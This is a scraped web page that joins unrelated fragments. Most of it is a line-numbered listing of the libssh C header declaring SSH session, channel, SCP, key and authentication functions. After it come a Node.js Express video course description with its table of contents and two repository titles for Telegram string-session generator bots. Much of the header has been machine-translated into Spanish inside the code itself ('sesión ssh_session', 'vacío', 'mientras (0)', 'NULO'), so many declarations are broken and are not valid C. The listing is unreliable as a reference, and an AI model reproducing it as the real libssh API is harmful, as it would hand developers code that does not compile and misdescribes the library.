SSH_OPTIONS_HOST, 371 SSH_OPTIONS_PORT, 372 SSH_OPTIONS_PORT_STR, 373 SSH_OPTIONS_FD, 374 SSH_OPTIONS_USER, 375 SSH_OPTIONS_SSH_DIR, 376 SSH_OPTIONS_IDENTITY, 377 SSH_OPTIONS_ADD_IDENTITY, 378 SSH_OPTIONS_KNOWNHOSTS, 379 SSH_OPTIONS_TIMEOUT, 380 SSH_OPTIONS_TIMEOUT_USEC, 381 SSH_OPTIONS_SSH1, 382 SSH_OPTIONS_SSH2, 383 SSH_OPTIONS_LOG_VERBOSITY, 384 SSH_OPTIONS_LOG_VERBOSITY_STR, 385 SSH_OPTIONS_CIPHERS_C_S, 386 SSH_OPTIONS_CIPHERS_S_C, 387 SSH_OPTIONS_COMPRESSION_C_S, 388 SSH_OPTIONS_COMPRESSION_S_C, 389 SSH_OPTIONS_PROXYCOMMAND, 390 SSH_OPTIONS_BINDADDR, 391 SSH_OPTIONS_STRICTHOSTKEYCHECK, 392 SSH_OPTIONS_COMPRESSION, 393 SSH_OPTIONS_COMPRESSION_LEVEL, 394 SSH_OPTIONS_KEY_EXCHANGE, 395 SSH_OPTIONS_HOSTKEYS, 396 SSH_OPTIONS_GSSAPI_SERVER_IDENTITY, 397 SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY, 398 SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 399 SSH_OPTIONS_HMAC_C_S, 400 SSH_OPTIONS_HMAC_S_C, 401 SSH_OPTIONS_PASSWORD_AUTH, 402 SSH_OPTIONS_PUBKEY_AUTH, 403 SSH_OPTIONS_KBDINT_AUTH, 404 SSH_OPTIONS_GSSAPI_AUTH, 405 SSH_OPTIONS_GLOBAL_KNOWNHOSTS, 406 SSH_OPTIONS_NODELAY, 407 SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES, 408 SSH_OPTIONS_PROCESS_CONFIG, 409 SSH_OPTIONS_REKEY_DATA, 410 SSH_OPTIONS_REKEY_TIME, 411 }; 412 413 enum { 415 SSH_SCP_WRITE, 417 SSH_SCP_READ, 418 SSH_SCP_RECURSIVE = 0x10 419 }; 420 421 enum ssh_scp_request_types { 423 SSH_SCP_REQUEST_NEWDIR = 1, 425 SSH_SCP_REQUEST_NEWFILE, 427 SSH_SCP_REQUEST_EOF, 429 SSH_SCP_REQUEST_ENDDIR, 431 SSH_SCP_REQUEST_WARNING 432 }; 433 434 enum ssh_connector_flags_e { 436 SSH_CONNECTOR_STDOUT = 1, 438 SSH_CONNECTOR_STDERR = 2, 440 SSH_CONNECTOR_BOTH = 3 441 }; 442 443 LIBSSH_API int ssh_blocking_flush ( sesión ssh_session , int timeout); 444 LIBSSH_API ssh_channel ssh_channel_accept_x11 ( canal ssh_channel , int timeout_ms); 445 LIBSSH_API int ssh_channel_change_pty_size ( canal ssh_channel , int cols, int filas); 446 LIBSSH_API int ssh_channel_close ( canal ssh_channel ); 447 LIBSSH_API void ssh_channel_free ( canal ssh_channel ); 448 LIBSSH_API int ssh_channel_get_exit_status ( canal ssh_channel ); 449 LIBSSH_API ssh_session ssh_channel_get_session ( canal ssh_channel ); 450 LIBSSH_API int ssh_channel_is_closed ( canal ssh_channel ); 451 LIBSSH_API int ssh_channel_is_eof ( canal ssh_channel ); 452 LIBSSH_API int ssh_channel_is_open ( canal ssh_channel ); 453 LIBSSH_API ssh_channel ssh_channel_new ( sesión ssh_session ); 454 LIBSSH_API int ssh_channel_open_auth_agent ( canal ssh_channel ); 455 LIBSSH_API int ssh_channel_open_forward ( canal ssh_channel , const char * host remoto, 456 int puerto remoto, const char * sourcehost, int localport); 457 LIBSSH_API int ssh_channel_open_session ( canal ssh_channel ); 458 LIBSSH_API int ssh_channel_open_x11 ( canal ssh_channel , const char * orig_addr, int orig_port); 459 LIBSSH_API int ssh_channel_poll ( canal ssh_channel , int is_stderr); 460 LIBSSH_API int ssh_channel_poll_timeout ( canal ssh_channel , int timeout, int is_stderr); 461 LIBSSH_API int ssh_channel_read ( canal ssh_channel , void * dest, uint32_t count, int is_stderr); 462 LIBSSH_API int ssh_channel_read_timeout ( ssh_channel channel, void * dest, uint32_t count, int is_stderr, int timeout_ms); 463 LIBSSH_API int ssh_channel_read_nonblocking ( canal ssh_channel , void * dest, uint32_t count, 464 int is_stderr); 465 LIBSSH_API int ssh_channel_request_env ( canal ssh_channel , const char * nombre, const char * valor); 466 LIBSSH_API int ssh_channel_request_exec ( canal ssh_channel , const char * cmd); 467 LIBSSH_API int ssh_channel_request_pty ( canal ssh_channel ); 468 LIBSSH_API int ssh_channel_request_pty_size ( canal ssh_channel , const char * term, 469 int cols, int filas); 470 LIBSSH_API int ssh_channel_request_shell ( canal ssh_channel ); 471 LIBSSH_API int ssh_channel_request_send_signal ( canal ssh_channel , const char * signum); 472 LIBSSH_API int ssh_channel_request_send_break ( ssh_channel canal, longitud uint32_t); 473 LIBSSH_API int ssh_channel_request_sftp ( canal ssh_channel ); 474 LIBSSH_API int ssh_channel_request_subsystem ( canal ssh_channel , const char * subsistema); 475 LIBSSH_API int ssh_channel_request_x11 ( canal ssh_channel , int single_connection, const char * protocolo, 476 const char * cookie, int número_pantalla); 477 LIBSSH_API int ssh_channel_request_auth_agent ( canal ssh_channel ); 478 LIBSSH_API int ssh_channel_send_eof ( canal ssh_channel ); 479 LIBSSH_API int ssh_channel_select ( ssh_channel * readchans, ssh_channel * writechans, ssh_channel * exceptchans, struct 480 timeval * tiempo de espera); 481 LIBSSH_API void ssh_channel_set_blocking ( canal ssh_channel , bloqueo int ); 482 LIBSSH_API void ssh_channel_set_counter ( canal ssh_channel , 483 contador ssh_counter ); 484 LIBSSH_API int ssh_channel_write ( canal ssh_channel , const void * datos, uint32_t len); 485 LIBSSH_API int ssh_channel_write_stderr ( canal ssh_channel , 486 const void * datos, 487 uint32_t len); 488 LIBSSH_API uint32_t ssh_channel_window_size ( canal ssh_channel ); 489 490 LIBSSH_API char * ssh_basename ( const char * ruta); 491 LIBSSH_API void ssh_clean_pubkey_hash ( carácter sin firmar ** hash); 492 LIBSSH_API int ssh_connect ( sesión ssh_session ); 493 494 LIBSSH_API ssh_connector ssh_connector_new ( sesión ssh_session ); 495 LIBSSH_API void ssh_connector_free ( conector ssh_connector ); 496 LIBSSH_API int ssh_connector_set_in_channel ( conector ssh_connector , 497 canal ssh_channel , 498 enum ssh_connector_flags_e banderas); 499 LIBSSH_API int ssh_connector_set_out_channel ( conector ssh_connector , 500 canal ssh_channel , 501 enum ssh_connector_flags_e flags); 502 LIBSSH_API void ssh_connector_set_in_fd ( ssh_connector conector, fd socket_t); 503 LIBSSH_API vacío ssh_connector_set_out_fd ( ssh_connector conector, fd socket_t); 504 505 LIBSSH_API const char * ssh_copyright ( void ); 506 LIBSSH_API void ssh_disconnect ( sesión ssh_session ); 507 LIBSSH_API char * ssh_dirname ( const char * ruta); 508 LIBSSH_API int ssh_finalize ( void ); 509 510 / * REENVÍO DE PUERTO INVERSO * / 511 LIBSSH_API ssh_channel ssh_channel_accept_forward ( sesión ssh_session , 512 int timeout_ms, 513 int * puerto_destino); 514 LIBSSH_API int ssh_channel_cancel_forward ( sesión ssh_session , 515 const char * dirección, 516 int puerto); 517 LIBSSH_API int ssh_channel_listen_forward ( sesión ssh_session , 518 const char * dirección, 519 puerto internacional , 520 int * puerto_delimitado); 521 522 LIBSSH_API void ssh_free ( sesión ssh_session ); 523 LIBSSH_API const char * ssh_get_disconnect_message ( sesión ssh_session ); 524 LIBSSH_API const char * ssh_get_error ( void * error); 525 LIBSSH_API int ssh_get_error_code ( void * error); 526 LIBSSH_API socket_t ssh_get_fd ( sesión ssh_session ); 527 LIBSSH_API char * ssh_get_hexa ( const unsigned char * what, size_t len); 528 LIBSSH_API char * ssh_get_issue_banner ( sesión ssh_session ); 529 LIBSSH_API int ssh_get_openssh_version ( sesión ssh_session ); 530 531 LIBSSH_API int ssh_get_server_publickey ( ssh_session sesión, clave ssh tecla *); 532 533 enum ssh_publickey_hash_type { 534 SSH_PUBLICKEY_HASH_SHA1, 535 SSH_PUBLICKEY_HASH_MD5, 536 SSH_PUBLICKEY_HASH_SHA256 537 }; 538 LIBSSH_API int ssh_get_publickey_hash ( clave const ssh_key , 539 enum ssh_publickey_hash_type type, 540 char ** hash sin firmar , 541 size_t * HLEN); 542 543 / * FUNCIONES ANULADAS * / 544 SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash ( sesión ssh_session , carácter sin firmar ** hash); 545 SSH_DEPRECATED LIBSSH_API ssh_channel ssh_forward_accept ( sesión ssh_session , int timeout_ms); 546 SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel ( sesión ssh_session , const char * dirección, int puerto); 547 SSH_DEPRECATED LIBSSH_API int ssh_forward_listen ( sesión ssh_session , const char * dirección, int puerto, int * bound_port); 548 SSH_DEPRECATED LIBSSH_API int ssh_get_publickey ( ssh_session sesión, clave ssh tecla *); 549 SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost ( sesión ssh_session ); 550 SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost ( sesión ssh_session ); 551 SSH_DEPRECATED LIBSSH_API int ssh_is_server_known ( sesión ssh_session ); 552 SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len); 553 554 555 556 LIBSSH_API int ssh_get_random ( void * donde, int len, int fuerte); 557 LIBSSH_API int ssh_get_version ( sesión ssh_session ); 558 LIBSSH_API int ssh_get_status ( sesión ssh_session ); 559 LIBSSH_API int ssh_get_poll_flags ( sesión ssh_session ); 560 LIBSSH_API int ssh_init ( vacío ); 561 LIBSSH_API int ssh_is_blocking ( sesión ssh_session ); 562 LIBSSH_API int ssh_is_connected ( sesión ssh_session ); 563 564 / * HOSTS CONOCIDOS * / 565 LIBSSH_API void ssh_knownhosts_entry_free ( struct ssh_knownhosts_entry * entrada); 566 #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\ 567 si ((e)! = NULO) {\ 568 ssh_knownhosts_entry_free (e); \ 569 e = NULO; \ 570 } \ 571 } mientras (0) 572 573 LIBSSH_API int ssh_known_hosts_parse_line ( const char * host, 574 const char * línea, 575 entrada struct ssh_knownhosts_entry **); 576 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_has_known_hosts_entry ( sesión ssh_session ); 577 578 LIBSSH_API int ssh_session_export_known_hosts_entry ( sesión ssh_session , 579 Char ** pentry_string); 580 LIBSSH_API int ssh_session_update_known_hosts ( sesión ssh_session ); 581 582 LIBSSH_API enumeración ssh_known_hosts_e 583 ssh_session_get_known_hosts_entry ( sesión ssh_session , 584 struct ssh_knownhosts_entry ** pentry); 585 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_is_known_server ( sesión ssh_session ); 586 587 / * REGISTRO * / 588 LIBSSH_API int ssh_set_log_level ( nivel int ); 589 LIBSSH_API int ssh_get_log_level ( void ); 590 LIBSSH_API void * ssh_get_log_userdata ( void ); 591 LIBSSH_API int ssh_set_log_userdata ( void * datos); 592 LIBSSH_API void _ssh_log ( int verbosidad, 593 const char * función , 594 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 595 596 / * legado * / 597 SSH_DEPRECATED LIBSSH_API void ssh_log ( sesión ssh_session , 598 int prioridad, 599 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 600 601 LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept ( ssh_message msg); 602 LIBSSH_API int ssh_message_channel_request_reply_success ( ssh_message msg); 603 #define SSH_MESSAGE_FREE (x) \ 604 hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0) 605 LIBSSH_API void ssh_message_free ( ssh_message msg); 606 LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session ); 607 LIBSSH_API int ssh_message_subtype ( ssh_message msg); 608 LIBSSH_API int ssh_message_type ( ssh_message msg); 609 LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t); 610 LIBSSH_API ssh_session ssh_new(void); 611 612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest); 613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv); 614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename); 615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type, 616 const void *value); 617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type, 618 char **value); 619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target); 620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap); 621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap); 622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void); 623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename); 624 638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len, 639 int echo, int verify, void *userdata); 640 641 LIBSSH_API ssh_key ssh_key_new(void); 642 #define SSH_KEY_FREE(x) \ 643 do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0) 644 LIBSSH_API void ssh_key_free (ssh_key key); 645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key); 646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type); 647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name); 648 LIBSSH_API int ssh_key_is_public(const ssh_key k); 649 LIBSSH_API int ssh_key_is_private(const ssh_key k); 650 LIBSSH_API int ssh_key_cmp(const ssh_key k1, 651 const ssh_key k2, 652 enum ssh_keycmp_e what); 653 654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter, 655 ssh_key *pkey); 656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key, 657 const char *passphrase, 658 ssh_auth_callback auth_fn, 659 void *auth_data, 660 ssh_key *pkey); 661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey, 662 const char *passphrase, 663 ssh_auth_callback auth_fn, 664 void *auth_data, 665 char **b64_key); 666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename, 667 const char *passphrase, 668 ssh_auth_callback auth_fn, 669 void *auth_data, 670 ssh_key *pkey); 671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey, 672 const char *passphrase, 673 ssh_auth_callback auth_fn, 674 void *auth_data, 675 const char *filename); 676 677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key, 678 ssh_key privkey); 679 680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key, 681 enum ssh_keytypes_e type, 682 ssh_key *pkey); 683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename, 684 ssh_key *pkey); 685 686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert, 687 enum ssh_keytypes_e type, 688 ssh_key *pkey); 689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename, 690 ssh_key *pkey); 691 692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey, 693 ssh_key *pkey); 694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key, 695 char **b64_key); 696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key, 697 const char *filename); 698 699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key); 700 701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type, 702 unsigned char *hash, 703 size_t len); 704 LIBSSH_API void ssh_print_hash (enum ssh_publickey_hash_type type, unsigned char *hash, size_t len); 705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data); 706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display); 707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds); 708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp); 709 LIBSSH_API int ssh_scp_close(ssh_scp scp); 710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason); 711 LIBSSH_API void ssh_scp_free(ssh_scp scp); 712 LIBSSH_API int ssh_scp_init(ssh_scp scp); 713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp); 714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location); 715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp); 716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode); 717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms); 718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms); 719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size); 720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp); 721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp); 722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp); 723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp); 724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp); 725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len); 726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd, 727 fd_set *readfds, struct timeval *timeout); 728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service); 729 LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel); 730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd); 731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking); 732 LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter, 733 ssh_counter rcounter); 734 LIBSSH_API void ssh_set_fd_except(ssh_session session); 735 LIBSSH_API void ssh_set_fd_toread(ssh_session session); 736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session); 737 LIBSSH_API void ssh_silent_disconnect(ssh_session session); 738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile); 739 740 /* USERAUTH */ 741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username); 742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username); 743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session, 744 const char *username, 745 const ssh_key pubkey); 746 LIBSSH_API int ssh_userauth_publickey(ssh_session session, 747 const char *username, 748 const ssh_key privkey); 749 #ifndef _WIN32 750 LIBSSH_API int ssh_userauth_agent(ssh_session session, 751 const char *username); 752 #endif 753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session, 754 const char *username, 755 const char *passphrase); 756 LIBSSH_API int ssh_userauth_password(ssh_session session, 757 const char *username, 758 const char *password); 759 760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods); 761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session); 762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session); 763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session); 764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo); 765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session); 766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i); 767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i, 768 const char *answer); 769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session); 770 LIBSSH_API const char *ssh_version(int req_version); 771 772 LIBSSH_API void ssh_string_burn(ssh_string str); 773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str); 774 LIBSSH_API void *ssh_string_data(ssh_string str); 775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len); 776 #define SSH_STRING_FREE(x) \ 777 do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0) 778 LIBSSH_API void ssh_string_free(ssh_string str); 779 LIBSSH_API ssh_string ssh_string_from_char(const char *what); 780 LIBSSH_API size_t ssh_string_len(ssh_string str); 781 LIBSSH_API ssh_string ssh_string_new(size_t size); 782 LIBSSH_API const char *ssh_string_get_char(ssh_string str); 783 LIBSSH_API char *ssh_string_to_char(ssh_string str); 784 #define SSH_STRING_FREE_CHAR(x) \ 785 do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0) 786 LIBSSH_API void ssh_string_free_char(char *s); 787 788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo, 789 int verify); 790 791 792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata); 793 794 LIBSSH_API ssh_event ssh_event_new(void); 795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events, 796 ssh_event_callback cb, void *userdata); 797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session); 798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector); 799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout); 800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd); 801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session); 802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector); 803 LIBSSH_API void ssh_event_free(ssh_event event); 804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session); 805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session); 806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session); 807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session); 808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session); 809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session); 810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session); 811 812 LIBSSH_API ssh_buffer ssh_buffer_new(void); 813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer); 814 #define SSH_BUFFER_FREE(x) \ 815 do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0) 816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer); 817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len); 818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen); 819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer); 820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer); 821 822 #ifndef LIBSSH_LEGACY_0_4 823 #include "libssh/legacy.h" 824 #endif 825 826 #ifdef __cplusplus 827 } 828 #endif 829 #endif /* _LIBSSH_H */</small> </body> </html> <!-- Juan Angel Luzardo Muslera / montevideo Uruguay -->
Inn4ki / ChatappNODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js
sahildesai07 / String Session Generatorstring session generator telegram bot
TechnoMindz / StringSessionBotPyrogram , Telethon And Pyrogram V2 String Generator Made by TechnoMindz